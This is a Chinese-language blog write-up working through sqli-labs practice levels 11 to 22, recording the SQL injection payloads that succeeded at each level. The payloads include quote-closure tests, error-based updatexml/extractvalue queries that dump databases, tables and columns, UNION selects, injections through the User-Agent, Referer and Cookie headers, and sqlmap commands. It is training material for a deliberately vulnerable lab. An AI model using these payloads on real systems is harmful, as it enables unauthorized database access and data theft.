sql注入专辑-5-sqli-lab靶场11-22

实验11

输入一个单引号报错,双引号不报错
在这里插入图片描述
在这里插入图片描述

输入sql判断语句:admin’ and 1=1#
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

得出正确的测试语句: uname=admin’ and 1=1#

sqlmap一刀干翻
在这里插入图片描述

sqlmap -r 11.txt
sqlmap在密码不对,账户不对的的情况下,也可以跑出,可以多加几个注入点,也可以一个不加
如果不打注入点,会跑的超级慢,超级慢
账号和密码不对也可以引发注入
在这里插入图片描述

实验12

输入双引号报错
在这里插入图片描述
在这里插入图片描述

admin") and 1=1#
在这里插入图片描述
在这里插入图片描述

得出正确的测试语句: admin") and 1=1#

实验13

单引号报错
admin’) and 1=1#
在这里插入图片描述
在这里插入图片描述

得出正确的测试语句:uname=admin’) and 1=1#

实验14

双引号报错
admin" and 1=1#
在这里插入图片描述

成功
在这里插入图片描述

得出正确的测试语句:admin" and 1=1#

实验15

单引号双引号都不会报错
有延迟,证明前面admin ’ 是正确的
在这里插入图片描述

继续探测
admin’ and 1=1#
在这里插入图片描述
在这里插入图片描述

得出正确的测试语句:admin’ and 1=1)#但是多了个括号,再验证一下

实验16

通过分析打印的代码,有双引号和括号闭合
admin") and 1=1#
在这里插入图片描述
在这里插入图片描述

错误的演示(一个括号,一个双引号)
在这里插入图片描述

得出正确的测试语句:username=admin") and 1=1#

实验17-显错注入

实验原理:
1 分析源代码
username中的vlaue ,限制输入字符15
passwd没有做check
用户名输入正确的admin,后面的password代码才会执行,完成更新
判断语句源于uname,where语句在uname这一块,
在passwd做不显示,做sleep,包直接就没了,直接pass

2 传统的sql语句已经不适应了
借助显错函数,盲猜,第一步爆库,第二步爆表名,第三步爆表里的列名
爆库,database
爆表名,借助报错信息
爆列名,指定数据库(security),指定表名,查列名,用 group_concat(table_name)把查询出来的数据连接起来

3 sqlmap自己找,给他注入点加个标记*

输入admin后自动更新了密码
在这里插入图片描述

但是用户名不是admin就报错
在这里插入图片描述

输入传统的sql注入,被强制加了,魔术引号绕过
在这里插入图片描述

修改文件
在这里插入图片描述
在这里插入图片描述

2 传统的sql语句已经不适应了
借助显错函数,盲猜,第一步爆库,第二步爆表名,第三步爆表里的列名
爆库,database
爆表名,借助报错信息
爆列名,指定数据库名字(security),指定表名,查列名,用 group_concat(table_name)把查询出来的数据连接起来

数据库中符号"."代表下一级,如dvwa.user表示dvwa数据库下的user表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name: 表名
column_name:列名
table_schema:数据库名

(1)选择在passwd下功夫,第一步最简单的爆mysql的版本
’ and updatexml(1,concat(0x7e,version(),0x7e),1)–+
在这里插入图片描述

(2)爆数据库名称
’ and updatexml(1,concat(0x7e,database(),0x7e),1)–+
在这里插入图片描述

(3)爆数据库,select的内容记得加括号
’ and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)–+
在这里插入图片描述

(4)爆表
’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’),0x7e),1)–+

在这里插入图片描述
在这里插入图片描述

(5)爆列名(users这个表)
在这里插入图片描述

’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’),0x7e),1)–+

(6)爆具

得出正确的测试语句:’ and updatexml(1,concat(0x7e,version(),0x7e),1)–+

实验18

代码分析:
1 把user-agent数据插入了数据库,通过报错语句查询数据库名称,
无论对错,都记录

uname和password,单引号 做了转义,只要了20个字符
拿到探测点也没用,输多了就全没了,全取消了

正确的用户名和密码是:admin 12345
只有密码正确,才会触发第二条语句
'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
在这里插入图片描述

在这里插入图片描述

得出正确的测试语句:useragent: 'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’

实验19

refer 也得成功登录
admin 12345
'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’
在这里插入图片描述
在这里插入图片描述

得出正确的测试语句:'and extractvalue(1,concat(0x7e,database(),0x7e)) and ’

实验20

cookie
isset 函数
如果不存在cookie,会显示一张错误的图,显示另一套代码,20.jpg
在这里插入图片描述

检测是否存在标签,登录不获取cookie,
还有个开关
admin 12345
admin’ order by 3–+
在这里插入图片描述
在这里插入图片描述

输入第四个就会报错
在这里插入图片描述
在这里插入图片描述

但是做不出效果来
继续深挖,成功,但是不知道为什么uname=111?????????
这是一个post包
输入语句:Cookie: uname=111’ union select ‘qq’,database(),version()#
不知道为什么是111
开关
&submit=Submit
在这里插入图片描述

有三个位置,分别查询了版本,和数据库的名称
在这里插入图片描述

得出正确的测试语句:Cookie: uname=111’ union select ‘qq’,database(),version()#

实验21

cookie中做了base64的加密
cookie:uname= admin做一个base64加密,把admin’) and 1=1#
替换在uname的post包

Cookie: uname= 12345’) union select ‘qq’,database(),version()#
在这里插入图片描述

三个可以插入的位置,cookie中的用户名只要不是admin,都可以爆库
在这里插入图片描述

admin的结果
在这里插入图片描述

如果有开关,只会显示一张图
在这里插入图片描述
在这里插入图片描述

得出正确的测试语句:Cookie: uname= 12345’) union select ‘qq’,database(),version()#

实验22

在21的基础上,双引号
admin" and 1=1#
提示utf-8,编码
在这里插入图片描述

Cookie: uname= 111" union select ‘qq’,database(),version()#
在这里插入图片描述

尝试使用get包,报错

得出正确的测试语句:Cookie: uname= 111" union select ‘qq’,database(),version()#

猜你喜欢

转载自blog.csdn.net/weixin_48776804/article/details/113807634
今日推荐